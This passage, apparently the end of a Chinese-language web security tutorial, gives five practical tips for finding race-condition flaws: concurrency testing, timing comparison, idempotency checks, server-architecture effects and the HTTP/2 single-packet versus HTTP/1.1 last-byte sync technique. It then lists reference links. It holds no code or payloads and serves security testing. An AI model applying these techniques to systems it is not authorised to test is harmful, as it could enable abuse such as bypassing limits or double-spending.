1. 先用 2 个请求测试：确认竞态窗口存在再增加并发数 2. 对比响应时间：竞态成功时部分请求的响应时间可能异常（比正常短或长） 3. 检查幂等性：发送相同请求两次，如果第二次返回不同结果说明有状态变更，存在竞态可能 4. 服务端架构影响：单进程（Flask dev）比多 worker（gunicorn）更容易触发；数据库事务隔离级别影响竞态窗口大小 5. HTTP 版本选择：优先 HTTP/2 单包攻击，不支持时退回 HTTP/1.1 last-byte sync

---

参考链接

• PortSwigger - Race Conditions
• Turbo Intruder - GitHub
• James Kettle - Smashing the State Machine (2023)